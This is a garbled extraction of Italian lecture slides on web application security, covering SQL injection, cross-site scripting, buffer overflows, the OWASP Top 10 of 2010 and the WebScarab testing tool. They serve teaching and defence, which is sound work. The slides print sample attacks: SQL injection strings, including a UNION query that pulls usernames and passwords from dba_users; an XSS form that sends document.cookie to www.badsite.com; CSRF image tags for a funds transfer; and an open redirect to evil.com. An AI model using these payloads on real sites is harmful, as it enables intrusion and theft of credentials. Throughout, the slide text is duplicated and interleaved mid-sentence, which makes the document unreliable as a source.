Problemi di sicurezza nello sviluppo di applicazioni web
Transcript
Problemi di sicurezza nello sviluppo di applicazioni web
nello sviluppo di applicazioni web Antonio Lioy < lioy @di polito.it > Problemi sicurezza nello sviluppo di applicazioni web Politecnico di Torino Dip. Automatica Informatica Antonio eLioy < lioy @ polito.it > Politecnico di Torino Dip. Automatica e Informatica Agenda attacchi ai servizi web (e contromisure) phishing, pharming, spoofing, flooding lle applicazioni web già visti in altra parte del corso … Agenda XSS, buffer overflow, command / SQL injection gestione delle sessioni attacchi ai servizi web (e contromisure) uso dei parametri, validazione dell’input phishing, pharming, spoofing, flooding OWASP e top 10 risks lle applicazioni web già visti in altra parte del corso … Problemi di sicurezza nello XSS, buffer overflow, / SQL injection sviluppo di command applicazioni web gestione delle sessioni esecuzione di query arbitrarie sul DB del server uso dei parametri, validazione dell’input SQL injection OWASP e top 10 risks accesso ai dati conservati nei cookie Mai fidarsi del client! (web app sec - gen'13) Problemi di sicurezza cross-site scripting nello sviluppo di applicazioni web accesso a dati riservati (es. dati personali) esecuzione di query arbitrarie sul DB del server gestione delle sessioni (stato) ioy - PolitecnicodiSQL Torinoinjection (2009-2013) esecuzione di codice arbitrario sul server (ed a volte accesso ai dati nei cookie anche sul conservati client) cross-site scripting buffer overflow accesso a dati riservati (es. dati personali) gestione delle sessioni (stato) ioy - Politecnico di Torino (2009-2013) esecuzione di codice arbitrario sul server (ed a volte anche sul client) buffer overflow (web app sec - gen'13) controllare il client è impossibile! anche in una Intranet anche per applicazioni protette da un firewall fidarsi del client! in ogni tipoMai di applicazione mai fidarsi del codice eseguito sul client controllare il client è impossibile! assumere sempre che i dati passati al client possano anche in essere una Intranet manipolati in modo improprio/inatteso anche per applicazioni protette da un firewall la deve essere server-based in sicurezza ogni tipo di applicazione mai fidarsi del codice eseguito sul client assumere sempre che i dati passati al client possano essere manipolati in modo 1 1 dati anonimi dati che possono essere manipolati o falsificati i dati! come validare Validare i dati “check that it looks good” (whitelist) validare sempre i dati di provenienza non fidata “don’t match that it looks bad” (blacklist) dati anonimi dati non validati / ripuliti dati che possono essere manipolati o falsificati … sono la sorgente di moltissimi attacchi come validare i dati “check that it looks good” (whitelist) “don’t match that it looks bad” (blacklist) dati non validati / ripuliti … sono la sorgente di moltissimi attacchi SQL injection fornire un input artefatto per alterare il codice SQL generato dinamicamente da un server: lle applicazioniweb (web app sec - gen'13) per modificare le condizioni di una query per selezionare dati injection fuori dalla tabella che si sta SQL usando (es. inserendo una UNION con la vista DBA_USERS ) fornire un input artefatto per alterare il codice SQL usato perdinamicamente vari scopi ma spesso per rubare le generato da un server: credenziali di autenticazione di un utente lle applicazioniweb (web app sec - gen'13) per modificare le condizioni di una query richiede una qualche forma di “social engineering” Esempio JSP n. 1 per selezionare dati fuori dalla tabella che si sta usando (es. inserendo una UNION con la vista DBA_USERS ) String sql = new String( usato per vari scopi ma spesso per rubare le "SELECT * FROM WebUsers WHERE Username=’" credenziali di autenticazione di un utente + request.getParameter("username") richiede unaPassword=’" qualche forma di “social + "’ AND Esempio JSP n. 1 engineering” + request.getParameter("password") + "’" ) stmt = Conn.prepareStatement(sql) String sql = new String( ioy - Politecnico di Torino (2009-2013) rows = stmt.executeQuery() "SELECT * FROM WebUsers WHERE Username=’" le righe vengono inviate al browser ... + request.getParameter("username") + "’ AND Password=’" + request.getParameter("password") + "’" ) stmt = Conn.prepareStatement(sql) ioy - Politecnico di Torino (2009-2013) rows = stmt.executeQuery() le righe vengono inviate al browser ... Esempio JSP n. 1: utente normale Username = Antonio Password = 1234 JSP Esempio JSP n. 1: utente normale sql = SELECT * FROM WebUsers WHERE Username=’Antonio’ AND Password=’1234’ Username = Antonio Password = 1234 JSP l’utente si collega al DB solo se la coppia user & pwd è corretta sql = SELECT * FROM WebUsers WHERE Username=’Antonio’ AND Password=’1234’ 3 3 Password = 1234’ OR ‘x’=‘x JSP Esempio JSP n. 1: utente maligno sql = SELECT * FROM WebUsers Username = AntonioWHERE Username=’Antonio’ AND‘x’=‘x Password=’1234’ OR ‘x’=‘x’ Password = 1234’ OR JSP l’attaccante si collega al DB senza conoscere user & pwd!!! sql = SELECT * FROM WebUsers WHERE Username=’Antonio’ AND Password=’1234’ OR ‘x’=‘x’ l’attaccante si collega al DB senza conoscere user & pwd!!! Esempio JSP n. 2 String sql = new String( "SELECT * FROM product WHERE ProductName=’" lle applicazioni web + request.getParameter("product_name") + "’" ) stmt = Conn.prepareStatement(sql) rows = stmt.executeQuery() String sql = new String( le righe vengono inviate al browser ... "SELECT * FROM product WHERE ProductName=’" lle applicazioni web + request.getParameter("product_name") + "’" ) stmt = Conn.prepareStatement(sql) product_name = DVD player rows = stmt.executeQuery() JSP ... le righe vengono inviate al browser (web app sec - gen'13) Esempio JSP n. 2 (web app sec - gen'13) Esempio JSP n. 2: utente normale Esempio JSP n. 2: utente normale sql = SELECT * FROM product WHERE ProductName=’DVD player’ product_name = DVD player ioy - Politecnico di Torino (2009-2013) JSP l’utente ottiene i dati relativi al prodotto selezionato 5 sql = SELECT * FROM product WHERE ProductName=’DVD player’ ioy - Politecnico di Torino (2009-2013) 5 l’utente ottiene i dati relativi al prodotto selezionato Esempio JSP n. 2: utente maligno product_name = xyz’ UNION SELECT username, password FROM dba_users WHERE ‘x’ = ‘x JSP Esempio JSP n. 2: utente maligno sql = SELECT * FROM product WHERE ProductName=’xyz’ product_name = xyz’ UNION UNION SELECT username, password JSP username, password FROM dba_users WHERE SELECT ‘x’ = ‘x FROM dba_users WHERE ‘x’ = ‘x’ ottiene tutte sql l’attaccante = SELECT * FROM product le ProductName=’xyz’ coppie user & pwd !!! WHERE UNION SELECT username, password comunque generate (CGI, PHP, ASP, JSP, ...) validare l’input dell’utente, trasformando gli apici singoli in sequenze di due apici SQL injection: come evitarlo suggerire agli sviluppatori di usare le query parametrizzate per introdurre i valori delle variabili revisionare tutti glipiuttosto script e leche pagine dinamiche, fornite dall’utente, generare codice comunque generate (CGI, PHP, ASP, JSP, SQL tramite concatenazione di stringhe ...) validare l’input dell’utente, trasformando apici usare i software di testing per verificare laglipropria singoli in sequenze di due apici vulnerabilità a questo tipo di attacco suggerire agli sviluppatori di usare le query parametrizzate per introdurre i valori delle variabili fornite dall’utente, piuttosto che generare codice SQL tramite concatenazione di stringhe usare i software di testing per verificare la propria vulnerabilità a questo tipo di attacco SQL injection: dove può capitare? non solo nelle query dinamiche generate da input ricevuto dal web ... lle applicazioni webanche in: (web app sec - gen'13) ma SQL Java Servlets injection: dove può capitare? Java Stored Procedures non solo nelle query dinamiche generate da input web services (SOAP, …) ricevuto dal web ... lle applicazioni webanche in: (web app sec - gen'13) ma Cross-site scripting Java Servlets Java Stored Procedures anche noto come XSS (talvolta anche CSS) web services (SOAP, …) usato per vari scopi ma spesso per rubare le credenziali di autenticazione di un utente richiede unaCross-site qualche forma di “social engineering” scripting grande varietà di meccanismi anchecompreso noto comedagli XSSsviluppatori (talvolta anche CSS) poco applicativi data la scopi complessità delleper attuali ioy - Politecnico di Torino (2009-2013) 7 (anche usato per vari ma spesso rubare le applicazioni credenziali diweb) autenticazione di un utente comune quantoforma si pensi più richiede unadi qualche di “social engineering” grande varietà di meccanismi poco compreso dagli sviluppatori applicativi (anche data la complessità delle attuali ioy - Politecnico di Torino (2009-2013) 7 applicazioni web) più comune di quanto si pensi XSS: come funziona? l’attaccante identifica un sito web che non filtra i tag HTML quando accetta input da un utente può inserire codice HTML e/o script arbitrari in un link o una pagina es. attaccante registra un oggetto su Ebay ed XSS: come funziona? incorpora lo script nella sua descrizione l’attaccante identifica un sito web che non filtra i es. attaccante mandainput scriptda in un unautente e-mail HTML tag HTML quando accetta serve ad evitarecodice la “Same-Origin Policy” può inserire HTML e/o script arbitrari in un o una permettono pagina ilink browser agli script del sito X di accedere solo ai cookie e dati provenienti dal sito es. attaccante registra un oggetto su Ebay ed X incorpora lo script nella sua es. si fa eseguire alla vittima unodescrizione script per far inviare i suoi cookie (relativi al sito delloe-mail script)HTML al es. attaccante manda script in una sito web dell’attaccante serve ad evitare la “Same-Origin Policy” <a href=http://www.sitoattaccabile.it/welcome.asp?name= <FORM action=http://www.badsite.com/data.asp method=post id="idForm"> <INPUT name="cookie" type="hidden"> </FORM> Il cookie di questo dominio ... <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); <a</SCRIPT> href=http://www.sitoattaccabile.it/welcome.asp?name= > <FORMqui! action=http://www.badsite.com/data.asp clicca method=post id="idForm"> </a> <INPUT name="cookie" type="hidden"> </FORM> ... è inviato a questo sito <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > clicca qui! </a> Cosa succede con questo script? ... è inviato a questo sito Sequence diagram lle applicazioni web (web app sec - gen'13) Sequence diagram lle applicazioni web (web app sec - gen'13) ioy - Politecnico di Torino (2009-2013) Persistent XSS l’attaccante usa un browser per inviare dati (es. tramite un form) … che vengono memorizzati sul server (es. DBMS, file-system) Persistent XSS … e poi inviati o resi disponibili ad altri utenti l’attaccante usa un browser per inviare dati (es. tramitei un problema: datiform) contengono tag HTML (eventualmente <script>) modificano il … che vengono anche memorizzati sul che server (es. DBMS, contenuto file-system)della pagina … e poi inviati o resi disponibili ad altri utenti esempio: post di un commento che contiene uno script per fare redirect verso un altro sito problema: i dati contengono tag HTML fonte: Alex Liu lo script può essere lasciato in chiaro offuscato (es. codifica esadecimale della stringa http://host/a.cgi?variable=%22%3E%3C…) XSS: come può essere sfruttato? generato al volo (es. tramite un’altro script) lo script puòdentro essere nascosto un messaggio di errore ioy - Politecnico Torino (2009-2013) dilasciato in chiaro offuscato (es. codifica esadecimale della stringa http://host/a.cgi?variable=%22%3E%3C…) generato al volo (es. tramite un’altro script) nascosto dentro un messaggio di errore fonte: Alex Liu XSS: come può essere sfruttato? 9 9 Esempio di Persistent XSS … scenari complessi nel 2008 una vulnerabilità di tipo persistent XSS su MySpace lle applicazioni (web app sec - gen'13) ...web unita ad un worm ... diffuso tramite un filmato QuickTime … scenari complessi … ha permesso l’esecuzione di codice JSP arbitrario nel 2008 una vulnerabilità di tipo persistent XSS su MySpace usato per rubare le credenziali (phishing) lle applicazioni (web app sec - gen'13) ...web unita ad un del worm ed il listing contenuto del filesystem Non-persistent XSS (reflected XSS) ... diffuso tramite un filmato QuickTime http://www.f-secure.com/v-descs/js_quickspace_a.shtml … ha permesso l’esecuzione di codice JSP l’attaccante arbitrario invia i dati tramite un browser (es. tramite un form) usato per rubare le credenziali (phishing) … che vengono direttamente usati ed il listing del contenuto del filesystem dall'applicazione lato server (es. in una query SQL) Non-persistent XSS (reflected XSS) per generare la risposta http://www.f-secure.com/v-descs/js_quickspace_a.shtml l’attaccante invia i dati tramite un browser problema: input inatteso all'applicazione che svolge un'operazione imprevista … che vengono direttamente usati dall'applicazione lato server (es. in una query SQL) per generare risposta esempio: SQLlainjection (es. tramite un form) ioy - Politecnico di Torino (2009-2013) problema: input inatteso all'applicazione che svolge un'operazione imprevista esempio: SQL injection ioy - Politecnico di Torino (2009-2013) DOM XSS l’attaccante invia i dati tramite un browser (es. tramite un form) … che vengono memorizzati o usati direttamente dal server (es. in una query) per generare la DOM XSS risposta l’attaccante invia i dati tramite un browser problema: datiform) contengono tag che manipolano il (es. tramitei un DOM (eventualmente anche XmlHttpRequest) e … che vengono memorizzati o usati direttamente provocano un comportamento inatteso lato client dal server (es. in una query) per generare la risposta problema: i dati contengono tag che manipolano il DOM (eventualmente anche XmlHttpRequest) e 11 11 accettare input corretto rifiutare (MAI cercare di correggere) input errato XSS: con contromisure codificare l'output le entità HTML (es. ") non usare mai codici ASCII o UTF-8 validare l'input specificare sempre la codifica dell'output (es. ISO accettare input 8859-1, UTF-8) percorretto evitare interpretazioni errate rifiutare (MAI cercare di correggere) input errato non usare blacklist ma whitelist codificare l'output una concorretta le entitàblacklist HTML (es. ") difficile scrivere non usare mail'input codici prima ASCII di o UTF-8 canonicalizzare esaminarlo specificare sempre la codifica dell'output (es. ISO evita errori di interpretazione 8859-1, UTF-8) per evitare interpretazioni errate non usare blacklist ma whitelist difficile scrivere una corretta blacklist canonicalizzare l'input prima di esaminarlo evita errori di interpretazione XSS: alcuni controlli base usare librerie anti-XSS (es. .NET, PHP) ripulire l’input ricevuto, filtrando i metacaratteri lle applicazioni web convertire qualunque testo salvato o letto (web app sec - gen'13) XSS: alcuni controlli base Da ... a ... < < usare librerie anti-XSS (es. .NET, PHP) > > ripulire l’input ricevuto, filtrando i metacaratteri lle applicazioni web # # convertire qualunque testo salvato o letto fornire più dati del ) ) < massimo <atteso ... per superare i limiti memoria allocata ... > della> e far eseguire codice arbitrario # # ( Da ... (web app sec - gen'13) Buffer overflow & & ( a ... Buffer overflow & & ( ( buffer overflow, integer overflow ed errori nelle fornire più del atteso ... stringhe di dati formato ) massimo ) ioy - Politecnico Torino (2009-2013) per superare i limiti della memoria diimportanti per programmi scritti in allocata C / C++ ... efar eseguire codice arbitrario quali le applicazioni custom … o i server web … buffer overflow, integer overflow ed errori nelle stringhe di formato ioy - Politecnico Torino (2009-2013) diimportanti per programmi scritti in C / C++ quali le applicazioni custom … o i server web … Come funziona lo stack? ad ogni chiamata di procedura/funzione: si salva nello stack l’indirizzo di ritorno si allocano sullo stack le variabili necessarie alla funzione Come funziona lo stack? ad ogni chiamata di procedura/funzione: 0x4568 0x0123 return address si salva nello stack l’indirizzo di ritorno 0x4569 \0 si allocano sullo stack le variabili necessarie alla 0x456A variabili locali funzione s 0x4567 . . . 0x456B 0x4567 0x456C y . s . . 0x0123 0x4568 (es. char username[4] = “sys”;) return address 13 13 char query[100] = "SELECT * FROM product WHERE ProductName=‘"; strcat (query, prod_name); strcat (query, "’"); // now exec query void BO_example (char *prod_name) ... { } char = Se query[100] prod_name contiene più di 100-43=57 byte si ha "SELECT * FROM product WHERE ProductName=‘"; un buffer overflow: strcat (query, prod_name); - la query viene"’"); eseguita correttamente ... strcat (query, // -now exec query della funzione si esegue il codice ... ma al termine ...macchina contenuto dalla posizione 58 di prod_name } Buffer overflow: esempio Se prod_name contiene più di 100-43=57 byte si ha un buffer overflow: - la query viene eseguita correttamente ... - ... ma al termine della funzione si esegue il codice macchina contenuto dalla posizione 58 di prod_name Buffer overflow: contromisure buona programmazione: non usare strcpy, strcat, ... ma strncpy, strncat, ... lle applicazioni web (web app sec - gen'13) usare sistemi automatici di protezione: Buffer iloverflow: contromisure modificare compilatore per proteggere l’indirizzo di ritorno con “canarini” (es. StackGuard) buona programmazione: configurare lo stack come “no exec” (default in Solaris 9, configurabile 2.6) strncat, ... non usare strcpy, strcat,da ...Solaris ma strncpy, lle applicazioniweb attenzione! nuovi metodididiprotezione: attacco sono in grado di(web app sec - gen'13) usare sistemi automatici OWASP top 10 web risks (2010) aggirare queste protezioni (es. usando le DLL di modificare il compilatore per proteggere l’indirizzo Windows o le shared-lib di Solaris) ... meglio di ritornobene con “canarini” (es. StackGuard) scrivere il codice :-) Open Web Application Security Project (owasp.org) configurare lo stack come “no exec” (default in esaminare i log per cercare tentativi di attacco Solaris 9, configurabile da Solaris 2.6) A1: Injection nuovi metodi di attacco sono in grado di A2:attenzione! Cross-Site Scripting (XSS) OWASP top 10 web risks (2010) aggirare queste protezioni (es. usando le DLL di A3: Broken Authentication and Session Management Windows o le shared-lib di Solaris) ... meglio A4:scrivere Insecurebene Direct Object :-) References il codice Open Application A5:Web Cross-Site RequestSecurity Forgery Project (CSRF) (owasp.org) esaminare i log per cercare tentativi di attacco ioy - Politecnico di Torino (2009-2013) 15 A6: Security Misconfiguration A1: Injection A7: Insecure Cryptographic Storage A2: Cross-Site Scripting (XSS) A8: Failure to Restrict URL Access A3: Broken Authentication and Session Management A9: Insufficient Transport Layer Protection A4: Insecure Direct Object References A10: Unvalidated Redirects and Forwards A5: Cross-Site Request Forgery (CSRF) ioy - Politecnico di Security Torino (2009-2013) 15 A6: Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URL Access A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects and Forwards A1. Injection SQL injection è il problema più famoso … ma sono anche possibili attacchi con LDAP, XPath, XSLT, HTML, XML, OS command A1. Injection problema: input inatteso eseguito da un interprete SQL injection è il problema più famoso … ma sono anche possibili attacchi con LDAP, soluzioni: XPath, XSLT, HTML, XML, OS command evitare gli interpreti usare comandi a struttura fissa, usando l'input problema: input da un interprete dell'utente soloinatteso come uneseguito parametro soluzioni: farli in maniera corretta è molto difficile difetti in aree quali il log-out, gestione pasword, A3. Broken authentication / session mgmt timeout, “ricordami su questo computer”, l’aggiornamento dell’account schemi non standard di autenticazione es. esposizione delle password o degli account, contengono spesso errori identificativi della sessione farli in maniera corretta è molto difficile permettono di ottenere i privilegi della vittima difetti in aree quali il log-out, gestione pasword, timeout, e spesso“ricordami di controllare molte altre sessioni su questo computer”, l’aggiornamento dell’account difficili da individuare es. esposizione tanti metodi diversi delle password o degli account, identificativi della sessione permettono di ottenere i privilegi della vittima e spesso di controllare molte altre sessioni difficili da individuare tanti metodi diversi A3 - scenari applicativo prenotazione usa session ID nella URL http://travel.com/sale/saleitems;jsessionid=2P0OC lle applicazioni web2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii (web app sec - gen'13) se un utente condivide il link… A3 - scenari …gli amici usano la sua carta di credito applicativo prenotazione usa session ID nella URL “logout” o chiudere il browser? http://travel.com/sale/saleitems;jsessionid=2P0OC l’utente successivo su un computer pubblico lle applicazioni web2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii (web app sec - gen'13) eredita tutte le informazioni di stato Esempi di errori nel mantenere lo stato se un utente condivide il link… …gli amici usano la sua carta di credito in campi HIDDEN: “logout” o chiudere il browser? <input l’utente successivo su un computer pubblico type="hidden" name="speaker_id" value= "123"> eredita tutte le informazioni di stato Esempi nei cookiedi errori nel mantenere lo stato trasmessi su canali non sicuri in campi HIDDEN: manipolabili sul client ioy - Politecnico di Torino (2009-2013) 17 <input nelle URL type="hidden" name="speaker_id" value= "123"> <a href="addSpeaker.cfm?speaker_id=123"</a> nei cookie in tutti i casi è facile cambiare il valore di trasmessi(es. su canali sicuri accedere ai dati di speaker_id a 124)non e quindi qualcun altro manipolabili sul client ioy - Politecnico di Torino (2009-2013) 17 nelle URL <a href="addSpeaker.cfm?speaker_id=123"</a> in tutti i casi è facile cambiare il valore di speaker_id (es. a 124) e quindi accedere ai dati di qualcun altro Come mantenere lo stato? molte applicazioni (soprattutto quelle web-based) devono mantenere uno stato lato client regola generale: mai dare al client niente altro lo chestato? un session ID Come mantenere (i dati della sessione devono stare sul server) in Java, usare l’oggetto Session: molte applicazioni (soprattutto quelle web-based) devono mantenere uno stato lato client HttpSession session=request.getSession( ); regola generale: Java session ID trasmesso tramite cookie o URL mai dare alIDclient niente altro che (veramente un session ID il Session di Java è resistente (i dati della sessione devono staresolo sul server) random, impredicibile, attaccabile con forza bruta) in Java, usare l’oggetto Session: HttpSession session=request.getSession( ); un oggetto reale (es. chiave di DB, file) … il client può cambiare tale riferimento per cercare di accedere ad un diverso oggetto A4. Insecure direct object references es. nel 2000 il server dell'ufficio Australiano se l'applicazione usa web direttamente come parametro delle tasse usava nella URL il fiscale un oggetto reale (es. chiave dicodice DB, file) dell'utente … così un utente ha raccolto i dati … il client può17.000 cambiare tale riferimento per fiscali di altri utenti cercare di accedere ad un diverso oggetto soluzione: non esporre mai nell'interfaccia es. nel 2000 ili server web agli dell'ufficio direttamente riferimenti oggetti Australiano applicativi delle tasse usava nella URL il codice fiscale dell'utente … così un utente ha raccolto i dati fiscali di altri 17.000 utenti soluzione: non esporre mai nell'interfaccia direttamente i riferimenti agli oggetti applicativi A4 - scenari query SQL composta con input fornito dall’utente String lle applicazioni web query = (web app sec - gen'13) "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , ... ); pstmt.setString (1, request.getParameter("acct")); query SQL composta con input fornito dall’utente ResultSet results = pstmt.executeQuery( ); A4 - scenari String lle applicazioni web query = (web app sec - gen'13) * FROM accts WHERE account = ?";browser "SELECT cambiando il parametro ‘acct’ dal proprio A5. Cross-Site Request Forgery (CSRF) PreparedStatement pstmt = l’attaccante può accedere a qualsiasi altro account connection.prepareStatement(query , ... ); http://example.com/app/accountInfo?acct= invio al browser tramite sito web "cattivo" o pstmt.setString (1,(es. request.getParameter("acct")); notMyAcct mail HTML) di una URL attiva per eseguire ResultSet results = pstmt.executeQuery( ); un'azione sul server bersaglio esempio: A5. cambiando il parametro ‘acct’Forgery dal proprio browser Cross-Site Request (CSRF) l’attaccante può accedere a qualsiasi altro account <img src="http://miabanca.it/do?azione=bonifico"> <img src="http://example.com/app/transferFunds? http://example.com/app/accountInfo?acct= invio al browser (es. tramite sito web "cattivo" o notMyAcct amount=1500&destinationAccount=attackerAcct#" mail HTML) di una URL attiva per eseguire ioy - Politecnico di Torino (2009-2013) width="0" /> un'azione sulheight="0" server bersaglio molto efficace verso quei server web che usano esempio: autenticazione automatica (es. basata su cookie, <img src="http://miabanca.it/do?azione=bonifico"> ticket di Kerberos, user+pwd inviati <img src="http://example.com/app/transferFunds? automaticamente) amount=1500&destinationAccount=attackerAcct#" ioy - Politecnico di Torino (2009-2013) width="0" height="0" /> molto efficace verso quei server web che usano autenticazione automatica (es. basata su cookie, ticket di Kerberos, user+pwd inviati automaticamente) A6. Security misconfiguration accedere al sistema o raccogliere informazioni riservate usando credenziali di default, pagine non più usate, vulnerabilità non risolte, file e cartelle non A6. Security misconfiguration protetti, ecc. errori di configurazione possono presentarsi a accedere al sistema raccogliere informazioni qualsiasi livello delloostack applicativo riservate piattaforma, web server, application server, usando credenziali di default, pagine non più framework e codice personalizzato usate, vulnerabilità non risolte, file e cartelle non collaborazione protetti, ecc. con amministratori assicurare che l’intero possono stack sia correttamente errori di configurazione presentarsi a configurato anche usando scanner automatici qualsiasi livello dello stack applicativo piattaforma, web server, application server, 19 19 aggiornamento rilasciato ...ma le librerie non sono state aggiornate A6 - scenari account amministratore creato automaticamente con username e password standard framework vulnerabile con XSS ...ma non disabilitato aggiornamento rilasciato Directory Listing non disabilitato ...ma le librerie non sono state aggiornate …attaccante scarica il codice sorgente ed identifica account amministratore creato automaticamente le vulnerabilità più facilmente con web username e password standard server visualizza lo stack trace ...ma non disabilitato …l’attaccante ricava info dai messaggi d’errore Directory Listing non disabilitato …attaccante scarica il codice sorgente ed identifica le vulnerabilità più facilmente server web visualizza lo stack trace …l’attaccante ricava info dai messaggi d’errore A7. Insecure cryptographic storage tipici problemi: dati sensibili non cifrati lle applicazioni web (web app sec - gen'13) uso di algoritmi "casalinghi" A7. cryptographic storage usoInsecure errato di algoritmi forti uso di algoritmi notoriamente deboli (es. RC2-40) tipici problemi: chiavi memorizzate direttamente nell'applicazione dati sensibili non cifrati chiavi memorizzate in file non protetti lle applicazioni web (web app sec - gen'13) uso di algoritmi "casalinghi" A7 scenari uso errato di algoritmi forti uso di algoritmi notoriamente deboli (es. RC2-40) cifro i dati delle carte di credito all’interno di un DB chiavi memorizzate direttamente nell'applicazione ma ci sono query che decifrano i dati chiavi memorizzate in file non protetti ... ottengo dati in chiaro tramite SQL Injection - scenari no a query cheA7 decifrano i dati!!! backup su CD di alcuni dati sanitari ma la chiave è inserita cifro i dati delle cartebackup di credito all’interno di un DB sullo stesso ioy - Politecnicodima Torino (2009-2013) ci sono query che mi tengo il supporto! decifrano i dati ... ottengo dati in senza chiaro tramite SQL Injection DB delle password salt no a query/etc/passwd che decifrano i dati!!! ...avendo brute force termina in 4 settimane backup su CD di alcuni dati sanitari ma la chiave è inserita sullo3000 stesso backup ...anziché anni ioy - Politecnicodimi Torino (2009-2013) tengo il supporto! DB delle password senza salt ...avendo /etc/passwd brute force termina in 4 settimane ...anziché 3000 anni A8. Failure to restrict URL access protezione di una URL semplicemente non rendendola pubblica o non presentandola nell'interfaccia ...security through obscurity A8. Failure to restrict URL access … ma non facendo nessun controllo reale di autenticazione protezione di una URL semplicemente non … oppure facendo unocontrollo client-side rendendola pubblica non presentandola nell'interfaccia ...security through obscurity problema: protezione facilmente superabile (es. URL presente in una prima versione ereale poi rimossa) … ma non facendo nessun controllo di autenticazione … oppure facendo un controllo client-side 21 21 http://example.com/app/getappInfo http://example.com/app/admin_getappInfo A8 - scenari getappInfo è disponibile a tutti ma il link che porta a admin_getappInfo richiama una supponendo di avere le seguenti pagine procedura di autenticazione http://example.com/app/getappInfo ...ma la procedura di autenticazione non viene http://example.com/app/admin_getappInfo attivata se scrivo direttamente la URL nel browser …devo solo indovinare il nome del file getappInfo è disponibile a tutti ma il link che porta a admin_getappInfo richiama una procedura di autenticazione ...ma la procedura di autenticazione non viene attivata se scrivo direttamente la URL nel browser …devo solo indovinare il nome del file A9. Insufficient transport layer protection usare solo canali protetti: per le sessioni autenticate verso i client lle applicazioni web (web app sec - gen'13) per i collegamenti verso il back-end A9. Insufficient layer protection spesso non vienetransport fatto per un presunto peggioramento delle prestazioni o per conflitti con IDSsolo / IPScanali protetti: gli usare spesso SSL/TLS usato: per le sessioni èautenticate verso i client lle applicazioniwebsolo durante la fase di autenticazione (web app sec - gen'13) per i collegamenti verso il back-end A9 scenari con certificati scaduti o non spesso non viene fatto per unconfigurati presunto correttamente peggioramento delle prestazioni o per conflitti con sito che/ IPS non protegge bene la pagina che richiede gli IDS autenticazione (SSL/TLS) spesso SSL/TLS è usato: l’attaccante intercetta il traffico di rete, cattura solo durante la fase di autenticazione cookie di sessione e impersona la vittima A9 - scenari con certificati scaduti o non configurati sito che utilizza certificato scaduto correttamente l’utente è abituato all’avvertimento sito che non protegge bene la pagina che richiede autenticazione (SSL/TLS) accorge quando viene rediretto su un sito ioy - Politecnicodinon Torinosi(2009-2013) 23 e gliintercetta comunicaille sue credenziali (phishing) diverso l’attaccante traffico di rete, cattura cookie di sessione e impersona vittima connessione a DB tramite oggettilaODBC/JDBC sito che le utilizza certificato scaduto in chiaro!!! tutte comunicazioni avvengono l’utente è abituato all’avvertimento accorge quando viene rediretto su un sito ioy - Politecnicodinon Torinosi(2009-2013) 23 diverso e gli comunica le sue credenziali (phishing) connessione a DB tramite oggetti ODBC/JDBC tutte le comunicazioni avvengono in chiaro!!! A10. Unvalidated redirects and forwards forzare la vittima ad usare un link con un redirect non validato il link appartiene a un sito valido quindi la vittima si A10.fida Unvalidated redirects and forwards pagina bersaglio specificata in un parametro non validato forzare la vittima ad usare un link con un redirect ...permette non validato di scegliere arbitrariamente la pagina di destinazione il link appartiene a un sito valido quindi la vittima si facile fidada rilevare si controllano redirect pagina bersaglioi specificata in un parametro non validato non così semplice se si usano i forward (uso allo di stesso sito) arbitrariamente la pagina di interno ...permette scegliere destinazione l’attaccante crea un URL malevolo per installare malware o per fare phishing http://www.x.com/redirect.jsp?url=evil.com A10 - scenari forward girare“redirect.jsp” richieste tra diverse partiun del sito con per funzione che riceve sito tramite un parametro (es. se una transazione è singolo parametro “url” avvenuta correttamente) l’attaccante crea un URL malevolo per installare l’attaccante crea un URL per accedere a una malware o per fare phishing pagina alla quale non è possibile accedere http://www.x.com/redirect.jsp?url=evil.com direttamente forward per girare richieste tra diverse parti del http://www.x.com/boring.jsp?fwd=admin.jsp sito tramite un parametro (es. se una transazione è avvenuta correttamente) l’attaccante crea un URL per accedere a una pagina alla quale non è possibile accedere direttamente http://www.x.com/boring.jsp?fwd=admin.jsp Test di applicazioni web: WebScarab http://www.owasp.org/software/webscarab.html strumento molto potente ... ma richiede: lle applicazioni web (web app sec - gen'13) conoscenze web (HTTP, HTML, JS, CSS, XML, ...) Test di applicazioni WebScarab conoscenze di sicurezzaweb: (vulnerabilità web) programmabile: http://www.owasp.org/software/webscarab.html molti plugin già disponibili strumento molto potente ... ma richiede: altri possono essere scritti ad-hoc per il proprio test lle applicazioni web (web app sec - gen'13) conoscenze web (HTTP, HTML, JS, CSS, XML, ...) funzioniPlugin base: per WebScarab (I) conoscenze di sicurezza (vulnerabilità web) local intercepting proxy (sia HTTP sia HTTPS) con programmabile: manipolazione di script Request e Response fragments = estrae e commenti molti plugin log diintercept tutto ilgià dialogo client-server manual =disponibili modifica "al volo" dei dati altri possono essere scritti ad-hoc per il proprio test beanshell = manipolazione richieste e risposte tramite funzioniPlugin base:in Java script per WebScarab (I) local intercepting (siai HTTP HTTPS) con reveal hidden fields proxy = rende campisia hidden visibili manipolazione di Request e Response ed editabili fragments = estrae script e commenti dilog diintercept tutto il dialogo simulator = client-server rallenta traffico ioy - Politecnico Torino (2009-2013) 25 bandwidth manual = modifica "alilvolo" deiper dati simulare l'effetto di una linea lenta beanshell = manipolazione richieste e risposte spider identifica URL contenute nella pagina tramite=script in Java request = creazione di una visibili manual reveal hidden fields = rende manuale i campi hidden richiesta (nuova o replay di una vecchia) ed editabili bandwidth simulator = rallenta il traffico per ioy - Politecnico di Torino (2009-2013) 25 simulare l'effetto di una linea lenta spider = identifica URL contenute nella pagina manual request = creazione manuale di una richiesta (nuova o replay di una vecchia) Plugin per WebScarab (II) sessionID analysis = analisi (semplice) dei session-id nei cookie per vedere se sono random scripted = sviluppo di applicazioni Java che sfruttano gli oggetti Request e Response di Plugin per WebScarab (II) WebScarab parameter fuzzer = manipolazione automatica dei sessionID analysis analisi (semplice) parametri di un form= per tentare XSS o dei session-id nei cookie per vedere se sono random SQLinjection scripted = sviluppo di applicazioni Java cheper search = scrittura di espressioni BeanShell sfruttano gli oggetti Request e Response identificare gli scambi dati da tracciare di WebScarab compare = calcola il numero di variazioni tra la parameter = manipolazione automatica dei transazionefuzzer corrente ed una di riferimento parametri di un form per tentare XSS o SQLinjection permette di manipolarli (deprecato: usare SOAPUI) extensions = ricerca automatica di file (lasciati per errore sul server) con estensioni a piacere (.bak Plugin 